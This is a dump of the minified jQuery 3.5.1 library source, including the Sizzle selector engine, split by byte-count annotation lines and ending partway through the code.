1 2/* AUTOGENERATED: jquery.min.js */
vendor: 15,088 bytes, lines 3-4
3/*! jQuery v3.5.1 | (c) JS Foundation and other contributors | jquery.org/license */ 4!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.5.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),D=function(e,t){return e===t&&(l=!0),0},j={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",W="\\["+M+"*("+I+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",F=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+W+")*)|.*)\\)|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=new RegExp("^"+M+"*,"+M+"*"),z=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="<a id='"+S+"'></a><select id='"+S+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!=C&&T(e),y(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!=C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&j.call(b.attrHandle,t.toLowerCase())?n(e,t,!E):void 0;return void 0!==r?r:d.attributes||!E?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+"").replace(re,ie)},se.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(D),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}
vendor: 4,356 bytes, line 4
4:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(B," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,v){var y="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===v?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=y!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[k,d]),a===e))break;return(d-=v)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace($,"$1"));return s[S]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||"")||se.error("unsupported lang: "+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=E?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ve(function(){return[0]}),last:ve(function(e,t){return[t-1]}),eq:ve(function(e,t,n){return[n<0?n+t:n]}),even:ve(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ve(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ve(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ve(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&"parentNode"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[k,p];
vendor: 10,068 bytes, line 4
4if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[S]||(e[S]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===k&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,v,y,e){return v&&!v[S]&&(v=Ce(v)),y&&!y[S]&&(y=Ce(y,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?y||(e?d:l||v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y||d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=y?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),y?y(null,t,p,r):H.apply(t,p)})}function Ee(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace($,"$1"),t,s<n&&Ee(e.slice(s,n)),n<r&&Ee(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace($," ")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,v,y,m,x,r,i=[],o=[],a=A[e+" "];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Ee(t[n]))[S]?i.push(a):o.push(a);(a=A(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=k+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==C||(T(o),n=!E);while(s=v[a++])if(s(o,t||C,n)){r.push(o);break}i&&(k=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&se.uniqueSort(r)}return i&&(k=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&E&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ye(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!E,n,!t||ee.test(e)&&ye(t.parentNode)||t),n},d.sortStable=S.split("").sort(D).join("")===S,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement("fieldset"))}),ce(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||fe("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute("disabled")})||fe(R,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);S.find=d,S.expr=d.selectors,S.expr[":"]=S.expr.pseudos,S.uniqueSort=S.unique=d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&S(e).is(n))break;r.push(e)}return r},T=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},k=S.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function D(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1<i.call(n,e)!==r}):S.filter(n,e,r)}S.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?S.find.matchesSelector(r,e)?[r]:[]:S.find.matches(e,S.grep(t,function(e){return 1===e.nodeType}))},S.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(S(e).filter(function(){for(t=0;t<r;t++)if(S.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)S.find(e,i[t],n);return 1<r?S.uniqueSort(n):n},filter:function(e){return this.pushStack(D(this,e||[],!1))},not:function(e){return this.pushStack(D(this,e||[],!0))},is:function(e){return!!D(this,"string"==typeof e&&k.test(e)?S(e):e||[],!1).length}});var j,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||j,"string"==typeof 